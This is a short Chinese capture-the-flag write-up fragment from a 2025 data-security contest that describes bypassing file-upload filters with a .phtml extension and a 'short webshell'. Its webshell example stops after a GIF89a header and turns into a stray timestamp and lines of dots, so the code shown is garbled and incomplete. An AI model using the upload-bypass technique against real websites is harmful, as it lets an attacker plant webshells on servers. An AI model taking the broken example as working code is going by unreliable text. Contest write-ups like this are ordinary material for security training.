2025 数字中国创新大赛数字安全赛道数据安全产业积分争夺赛初赛
# 2025数字中国创新大赛数据安全赛道初赛技术解析
## 文件上传绕过技术
### .phtml后缀绕过
- 通过上传`.phtml`后缀文件可以绕过常规文件上传限制
- 文件内容过滤了常规PHP代码，需要使用短木马形式
### 短木马示例
```php
GIF89a
2025-08-30 02:03:30
0
.
.
.
.
.
.